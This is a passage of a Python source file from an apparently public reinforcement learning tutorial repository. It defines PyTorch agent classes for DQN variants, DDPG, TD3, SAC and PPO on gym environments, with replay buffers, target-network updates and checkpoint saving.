2021-08-12T15:11:28.000Z
|
2021-09-27T16:04:16.000Z
|
tutorials/mpi_ddpg/icsl_rl/agent.py
|
namjiwon1023/Code_With_RL
|
37beec975b1685e9f6cf991abed491b854b78173
|
[
"MIT"
] | null | null | null |
tutorials/mpi_ddpg/icsl_rl/agent.py
|
namjiwon1023/Code_With_RL
|
37beec975b1685e9f6cf991abed491b854b78173
|
[
"MIT"
] | 1
|
2021-08-05T07:20:57.000Z
|
2021-08-05T07:20:57.000Z
|
# Copyright (c) 2021: Zhiyuan Nan (namjw@hanyang.ac.kr).
#
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
import torch as T
import torch.nn as nn
import torch.optim as optim
from torch.distributions import Normal, Categorical
import numpy as np
import os
import copy
import gym
from gym.wrappers import RescaleAction
from collections import deque
from icsl_rl.network import QNetwork, DuelingNetwork
from icsl_rl.network import Actor, ActorA2C, ActorPPO, ActorSAC, CriticQ, CriticV, CriticTwin
from icsl_rl.replaybuffer import ReplayBuffer, ReplayBufferPPO
from icsl_rl.utils import OUNoise
class DQNAgent(object):
def __init__(self, args):
self.args = args
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.n
self.checkpoint = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'DQN.pth')
# network setting
self.eval = QNetwork(self.n_states, self.n_actions, args)
self.criterion = nn.MSELoss()
self.target = copy.deepcopy(self.eval)
self.target.eval()
for p in self.target.parameters():
p.requires_grad = False
# optimizer setting
self.optimizer = optim.Adam(self.eval.parameters(), lr=self.args.critic_lr)
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, args)
self.transition = list()
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/DQN.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.randint(0, self.n_actions)
else :
choose_action = self.eval(T.as_tensor(state, dtype=T.float32, device=self.args.device)).argmax()
choose_action = choose_action.detach().cpu().numpy()
if not self.args.evaluate:
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
critic_loss = self._value_update(self.memory, self.args.batch_size)
# update value
self.optimizer.zero_grad()
critic_loss.backward()
self.optimizer.step()
# target network hard update
if self.total_step % self.args.update_rate == 0:
self._target_net_update(self.target, self.eval)
def save_models(self):
print('------ Save model ------')
_save_model(self.eval, self.checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.eval, self.checkpoint)
# target network hard update
def _target_net_update(self, target_net, eval_net):
target_net.load_state_dict(eval_net.state_dict())
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.long, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
next_q = self.target(next_state).max(dim=1, keepdim=True)[0]
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + next_q * mask
current_q = self.eval(state).gather(1, action)
loss = self.criterion(current_q, target_q)
return loss
class DoubleDQNAgent(object):
def __init__(self, args):
self.args = args
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.n
self.checkpoint = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'DoubleDQN.pth')
# network setting
self.eval = QNetwork(self.n_states, self.n_actions, args)
self.criterion = nn.MSELoss()
self.target = copy.deepcopy(self.eval)
self.target.eval()
for p in self.target.parameters():
p.requires_grad = False
# optimizer setting
self.optimizer = optim.Adam(self.eval.parameters(), lr=self.args.critic_lr)
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, args)
self.transition = list()
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/DoubleDQN.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.randint(0, self.n_actions)
else :
choose_action = self.eval(T.as_tensor(state, dtype=T.float32, device=self.args.device)).argmax()
choose_action = choose_action.detach().cpu().numpy()
if not self.args.evaluate:
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
critic_loss = self._value_update(self.memory, self.args.batch_size)
# update value
self.optimizer.zero_grad()
critic_loss.backward()
self.optimizer.step()
# target network hard update
if self.total_step % self.args.update_rate == 0:
self._target_net_update(self.target, self.eval)
def save_models(self):
print('------ Save model ------')
_save_model(self.eval, self.checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.eval, self.checkpoint)
# target network hard update
def _target_net_update(self, target_net, eval_net):
target_net.load_state_dict(eval_net.state_dict())
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.long, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
# Double DQN
next_q = self.target(next_state).gather(1, self.eval(next_state).argmax(dim = 1, keepdim = True))
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + next_q * mask
current_q = self.eval(state).gather(1, action)
# TD error
loss = self.criterion(current_q, target_q)
return loss
class DuelingDQNAgent(object):
def __init__(self, args):
self.args = args
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.n
self.checkpoint = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'DuelingDQN.pth')
# network setting
self.eval = DuelingNetwork(self.n_states, self.n_actions, args)
# loss function
self.criterion = nn.MSELoss()
self.target = copy.deepcopy(self.eval)
self.target.eval()
for p in self.target.parameters():
p.requires_grad = False
# optimizer setting
self.optimizer = optim.Adam(self.eval.parameters(), lr=self.args.critic_lr)
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, args)
self.transition = list()
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/DuelingDQN.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.randint(0, self.n_actions)
else :
choose_action = self.eval(T.as_tensor(state, dtype=T.float32, device=self.args.device)).argmax()
choose_action = choose_action.detach().cpu().numpy()
if not self.args.evaluate:
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
critic_loss = self._value_update(self.memory, self.args.batch_size)
# update value
self.optimizer.zero_grad()
critic_loss.backward()
self.optimizer.step()
# target network hard update
if self.total_step % self.args.update_rate == 0:
self._target_net_update(self.target, self.eval)
def save_models(self):
print('------ Save model ------')
_save_model(self.eval, self.checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.eval, self.checkpoint)
# target network hard update
def _target_net_update(self, target_net, eval_net):
target_net.load_state_dict(eval_net.state_dict())
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.long, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
next_q = self.target(next_state).max(dim=1, keepdim=True)[0]
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + next_q * mask
current_q = self.eval(state).gather(1, action)
loss = self.criterion(current_q, target_q)
return loss
class D3QNAgent(object):
def __init__(self, args):
self.args = args
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.n
self.checkpoint = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'D3QN.pth')
# network setting
self.eval = DuelingNetwork(self.n_states, self.n_actions, args)
# loss function
self.criterion = nn.MSELoss()
self.target = copy.deepcopy(self.eval)
self.target.eval()
for p in self.target.parameters():
p.requires_grad = False
# optimizer setting
self.optimizer = optim.Adam(self.eval.parameters(), lr=self.args.critic_lr)
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, args)
self.transition = list()
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/D3QN.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.randint(0, self.n_actions)
else :
choose_action = self.eval(T.as_tensor(state, dtype=T.float32, device=self.args.device)).argmax()
choose_action = choose_action.detach().cpu().numpy()
if not self.args.evaluate:
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
critic_loss = self._value_update(self.memory, self.args.batch_size)
# update value
self.optimizer.zero_grad()
critic_loss.backward()
self.optimizer.step()
# target network hard update
if self.total_step % self.args.update_rate == 0:
self._target_net_update(self.target, self.eval)
def save_models(self):
print('------ Save model ------')
_save_model(self.eval, self.checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.eval, self.checkpoint)
# target network hard update
def _target_net_update(self, target_net, eval_net):
target_net.load_state_dict(eval_net.state_dict())
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.long, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
# Double DQN
next_q = self.target(next_state).gather(1, self.eval(next_state).argmax(dim = 1, keepdim = True))
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + next_q * mask
current_q = self.eval(state).gather(1, action)
# TD error
loss = self.criterion(current_q, target_q)
return loss
class NoisyDQNAgent(object):
def __init__(self, args):
self.args = args
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.n
self.checkpoint = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'NoisyDQN.pth')
# network setting
self.eval = QNetwork(self.n_states, self.n_actions, args)
# loss function
self.criterion = nn.MSELoss()
self.target = copy.deepcopy(self.eval)
self.target.eval()
for p in self.target.parameters():
p.requires_grad = False
# optimizer setting
self.optimizer = optim.Adam(self.eval.parameters(), lr=self.args.critic_lr)
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, args)
self.transition = list()
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/NoisyDQN.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state):
with T.no_grad():
choose_action = self.eval(T.as_tensor(state, dtype=T.float32, device=self.args.device)).argmax()
choose_action = choose_action.detach().cpu().numpy()
if not self.args.evaluate:
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
critic_loss = self._value_update(self.memory, self.args.batch_size)
# update value
self.optimizer.zero_grad()
critic_loss.backward()
self.optimizer.step()
# noise update
self.eval.reset_noise()
self.target.reset_noise()
# target network hard update
if self.total_step % self.args.update_rate == 0:
self._target_net_update(self.target, self.eval)
def save_models(self):
print('------ Save model ------')
_save_model(self.eval, self.checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.eval, self.checkpoint)
# target network hard update
def _target_net_update(self, target_net, eval_net):
target_net.load_state_dict(eval_net.state_dict())
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.long, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
next_q = self.target(next_state).max(dim=1, keepdim=True)[0]
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + next_q * mask
current_q = self.eval(state).gather(1, action)
loss = self.criterion(current_q, target_q)
return loss
class DDPGAgent(object):
def __init__(self, args):
self.args = args
self.actor_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'ddpg_actor.pth')
self.critic_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'ddpg_critic.pth')
# Environment setting
self.env = gym.make(args.env_name)
self.env = RescaleAction(self.env, -1, 1)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.shape[0]
self.max_action = self.env.action_space.high[0]
self.low_action = self.env.action_space.low[0]
# OU noise setting
self.noise = OUNoise(self.n_actions, theta=self.args.ou_noise_theta, sigma=self.args.ou_noise_sigma,)
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, self.args)
self.transition = list()
# actor-critic network setting
self.actor_eval = Actor(self.n_states, self.n_actions, self.args)
self.critic_eval = CriticQ(self.n_states, self.n_actions, self.args)
# optimizer setting
self.actor_optimizer = optim.Adam(self.actor_eval.parameters(), lr=self.args.actor_lr)
self.critic_optimizer = optim.Adam(self.critic_eval.parameters(), lr=self.args.critic_lr)
# loss function
self.criterion = nn.MSELoss()
self.actor_target = copy.deepcopy(self.actor_eval)
self.actor_target.eval()
for p in self.actor_target.parameters():
p.requires_grad = False
self.critic_target = copy.deepcopy(self.critic_eval)
self.critic_target.eval()
for p in self.critic_target.parameters():
p.requires_grad = False
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/ddpg_actor.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon > np.random.random() and not self.args.evaluate:
choose_action = np.random.uniform(self.low_action, self.max_action, self.n_actions)
else :
choose_action = self.actor_eval(T.as_tensor(state, dtype=T.float32, device=self.args.device)).detach().cpu().numpy()
if not self.args.evaluate:
if self.args.Gaussian_noise:
noise = np.random.normal(0, self.max_action*self.args.exploration_noise, size=self.n_actions)
else:
noise = self.noise.sample()
choose_action = np.clip(choose_action + noise, self.low_action, self.max_action)
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
critic_loss, state = self._value_update(self.memory, self.args.batch_size)
# update value
self.critic_optimizer.zero_grad()
critic_loss.backward()
self.critic_optimizer.step()
# critic target network soft update
if self.total_step % self.args.target_update_interval == 0:
self._target_soft_update(self.critic_target, self.critic_eval, self.args.tau)
for p in self.critic_eval.parameters():
p.requires_grad = False
# actor network loss function
actor_loss = self._policy_update(state)
# update policy
self.actor_optimizer.zero_grad()
actor_loss.backward()
self.actor_optimizer.step()
# actor target network soft update
if self.total_step % self.args.target_update_interval == 0:
self._target_soft_update(self.actor_target, self.actor_eval, self.args.tau)
for p in self.critic_eval.parameters():
p.requires_grad = True
def save_models(self):
print('------ Save model ------')
_save_model(self.actor_eval, self.actor_path)
_save_model(self.critic_eval, self.critic_path)
def load_models(self):
print('------ load model ------')
_load_model(self.actor_eval, self.actor_path)
_load_model(self.critic_eval, self.critic_path)
# target network soft update
def _target_soft_update(self, target_net, eval_net , tau=None):
if tau == None:
tau = self.args.tau
with T.no_grad():
for t_p, l_p in zip(target_net.parameters(), eval_net.parameters()):
t_p.data.copy_(tau * l_p.data + (1 - tau) * t_p.data)
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.float32, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
next_action = self.actor_target(next_state)
next_value = self.critic_target(next_state, next_action)
# Here we calculate action value Q(s,a) = R + yV(s')
target_values = reward + next_value * mask
eval_values = self.critic_eval(state, action)
# TD error
critic_loss = self.criterion(eval_values, target_values)
return critic_loss, state
def _policy_update(self, state):
actor_loss = -self.critic_eval(state, self.actor_eval(state)).mean()
return actor_loss
class TD3Agent(object):
def __init__(self, args):
self.args = args
self.actor_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'td3_actor.pth')
self.critic_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'td3_critic.pth')
# Environment setting
self.env = gym.make(args.env_name)
self.env = RescaleAction(self.env, -1, 1)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.shape[0]
self.max_action = self.env.action_space.high[0]
self.low_action = self.env.action_space.low[0]
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, self.args)
self.transition = list()
# actor-critic net setting
self.actor_eval = Actor(self.n_states, self.n_actions, self.args)
self.critic_eval = CriticTwin(self.n_states, self.n_actions, self.args)
# loss function
self.criterion = nn.MSELoss()
# optimizer setting
self.actor_optimizer = optim.Adam(self.actor_eval.parameters(), lr=self.args.actor_lr)
self.critic_optimizer = optim.Adam(self.critic_eval.parameters(), lr=self.args.critic_lr)
self.actor_target = copy.deepcopy(self.actor_eval)
self.actor_target.eval()
for p in self.actor_target.parameters():
p.requires_grad = False
self.critic_target = copy.deepcopy(self.critic_eval)
self.critic_target.eval()
for p in self.critic_target.parameters():
p.requires_grad = False
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/td3_actor.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.uniform(self.low_action, self.max_action, self.n_actions)
else :
choose_action = self.actor_eval(T.as_tensor(state, device=self.actor_eval.device, dtype=T.float32)).detach().cpu().numpy()
if not self.args.evaluate:
noise = np.random.normal(0, self.max_action*self.args.exploration_noise, size=self.n_actions)
choose_action = np.clip(choose_action + noise, self.low_action, self.max_action)
self.transition = [state, choose_action]
return choose_action
def learn(self):
q1_loss, q2_loss, state = self._value_update(self.memory, self.args.batch_size)
critic_loss = q1_loss + q2_loss
# update value
self.critic_optimizer.zero_grad()
critic_loss.backward()
self.critic_optimizer.step()
if self.total_step % self.args.policy_freq == 0:
self._target_soft_update(self.critic_target, self.critic_eval, self.args.tau)
for p in self.critic_eval.parameters():
p.requires_grad = False
# actor network delay update
if self.total_step % self.args.policy_freq == 0:
# actor loss function
actor_loss = self._policy_update(state)
# update policy
self.actor_optimizer.zero_grad()
actor_loss.backward()
self.actor_optimizer.step()
# target network soft update
self._target_soft_update(self.actor_target, self.actor_eval, self.args.tau)
for p in self.critic_eval.parameters():
p.requires_grad = True
def save_models(self):
print('------ Save model ------')
_save_model(self.actor_eval, self.actor_path)
_save_model(self.critic_eval, self.critic_path)
def load_models(self):
print('------ load model ------')
_load_model(self.actor_eval, self.actor_path)
_load_model(self.critic_eval, self.critic_path)
# target network soft update
def _target_soft_update(self, target_net, eval_net , tau=None):
if tau == None:
tau = self.args.tau
with T.no_grad():
for t_p, l_p in zip(target_net.parameters(), eval_net.parameters()):
t_p.data.copy_(tau * l_p.data + (1 - tau) * t_p.data)
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.float32, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
noise = (T.randn_like(action) * self.args.policy_noise * self.max_action).clamp(self.args.noise_clip * self.low_action, self.args.noise_clip * self.max_action)
next_action = (self.actor_target(next_state) + noise).clamp(self.low_action, self.max_action)
next_target_q1, next_target_q2 = self.critic_target.get_double_q(next_state, next_action)
next_target_q = T.min(next_target_q1, next_target_q2)
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + next_target_q * mask
# Twin Critic Network Loss functions
current_q1, current_q2 = self.critic_eval.get_double_q(state, action)
# TD error
q1_loss = self.criterion(current_q1, target_q)
q2_loss = self.criterion(current_q2, target_q)
return q1_loss, q2_loss, state
def _policy_update(self, state):
actor_loss = -self.critic_eval(state, self.actor_eval(state)).mean()
return actor_loss
class SACAgent(object):
def __init__(self, args):
self.args = args
self.actor_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'sac_actor.pth')
self.critic_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'sac_critic.pth')
# Environment setting
self.env = gym.make(args.env_name)
self.env = RescaleAction(self.env, -1, 1)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.shape[0]
self.max_action = self.env.action_space.high[0]
self.low_action = self.env.action_space.low[0]
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, self.args)
self.transition = list()
# actor-critic net setting
self.actor = ActorSAC(self.n_states, self.n_actions, self.args)
self.critic_eval = CriticTwin(self.n_states, self.n_actions, self.args)
# loss function
self.criterion = nn.MSELoss()
# optimizer setting
self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=self.args.actor_lr)
self.critic_optimizer = optim.Adam(self.critic_eval.parameters(), lr=self.args.critic_lr)
self.critic_target = copy.deepcopy(self.critic_eval)
self.critic_target.eval()
for p in self.critic_target.parameters():
p.requires_grad = False
# Temperature Coefficient
self.target_entropy = -self.n_actions
self.log_alpha = T.zeros(1, requires_grad=True, device=self.args.device)
self.alpha = self.log_alpha.exp()
self.alpha_optimizer = optim.Adam([self.log_alpha], lr=self.args.alpha_lr)
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/sac_actor.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.uniform(self.low_action, self.max_action, self.n_actions)
else :
choose_action, _ = self.actor(T.as_tensor(state, dtype=T.float32, device=self.actor.device))
choose_action = choose_action.detach().cpu().numpy()
self.transition = [state, choose_action]
return choose_action
def learn(self):
# TD error
# update value
q1_loss, q2_loss, state = self._value_update(self.memory, self.args.batch_size)
critic_loss = q1_loss + q2_loss
self.critic_optimizer.zero_grad()
critic_loss.backward()
self.critic_optimizer.step()
# target network soft update
if self.total_step % self.args.target_update_interval == 0:
self._target_soft_update(self.critic_target, self.critic_eval, self.args.tau)
for p in self.critic_eval.parameters():
p.requires_grad = False
actor_loss, new_log_prob = self._policy_update(state)
# update Policy
self.actor_optimizer.zero_grad()
actor_loss.backward()
self.actor_optimizer.step()
# update Temperature Coefficient
alpha_loss = self._temperature_update(new_log_prob)
self.alpha_optimizer.zero_grad()
alpha_loss.backward()
self.alpha_optimizer.step()
for p in self.critic_eval.parameters():
p.requires_grad = True
self.alpha = self.log_alpha.exp()
def save_models(self):
print('------ Save model ------')
_save_model(self.actor, self.actor_path)
_save_model(self.critic_eval, self.critic_path)
checkpoint = os.path.join(self.args.save_dir + '/' + self.args.algorithm +'/' + self.args.env_name, 'log_alpha.pth')
T.save(self.log_alpha, checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.actor, self.actor_path)
_load_model(self.critic_eval, self.critic_path)
checkpoint = os.path.join(self.args.save_dir + '/' + self.args.algorithm +'/' + self.args.env_name, 'log_alpha.pth')
self.log_alpha = T.load(checkpoint)
# target network soft update
def _target_soft_update(self, target_net, eval_net , tau=None):
if tau == None:
tau = self.args.tau
with T.no_grad():
for t_p, l_p in zip(target_net.parameters(), eval_net.parameters()):
t_p.data.copy_(tau * l_p.data + (1 - tau) * t_p.data)
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.float32, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
next_action, next_log_prob = self.actor(next_state)
next_target_q1, next_target_q2 = self.critic_target.get_double_q(next_state, next_action)
next_target_q = T.min(next_target_q1, next_target_q2)
# Here we calculate action value Q(s,a) = R + yV(s')
target_q = reward + (next_target_q - self.alpha * next_log_prob) * mask
# Twin Critic Network Loss functions
current_q1, current_q2 = self.critic_eval.get_double_q(state, action)
# TD error
# update value
q1_loss = self.criterion(current_q1, target_q)
q2_loss = self.criterion(current_q2, target_q)
return q1_loss, q2_loss, state
def _policy_update(self, state):
new_action, new_log_prob = self.actor(state)
q_1, q_2 = self.critic_eval.get_double_q(state, new_action)
q = T.min(q_1, q_2)
# update actor network
actor_loss = (self.alpha * new_log_prob - q).mean()
return actor_loss, new_log_prob
def _temperature_update(self, new_log_prob):
alpha_loss = -self.log_alpha * (new_log_prob.detach() + self.target_entropy).mean()
return alpha_loss
class PPOAgent(object):
def __init__(self, args):
self.args = args
self.actor_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'ppo_actor.pth')
self.critic_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'ppo_critic.pth')
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.shape[0]
self.max_action = self.env.action_space.high[0]
self.low_action = self.env.action_space.low[0]
# actor-critic net setting
self.actor = ActorPPO(self.n_states, self.n_actions, self.args)
self.critic = CriticV(self.n_states, self.args)
# loss function
self.criterion = nn.MSELoss()
# optimizer setting
self.optimizer = optim.Adam([{'params': self.actor.parameters(), 'lr': self.args.actor_lr},
{'params': self.critic.parameters(), 'lr': self.args.critic_lr}])
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/ppo_actor.pth'):
self.load_models()
self.total_step = 0
# simple replay buffer
self.memory = ReplayBufferPPO()
def choose_action(self, state):
state = T.as_tensor((state,), dtype=T.float32, device=self.args.device)
mu, std = self.actor(state)
if self.args.evaluate and not self.args.is_discrete:
choose_action = mu
if not self.args.evaluate:
value = self.critic(state)
self.memory.values.append(value)
self.memory.states.append(state)
dist = Normal(mu, std)
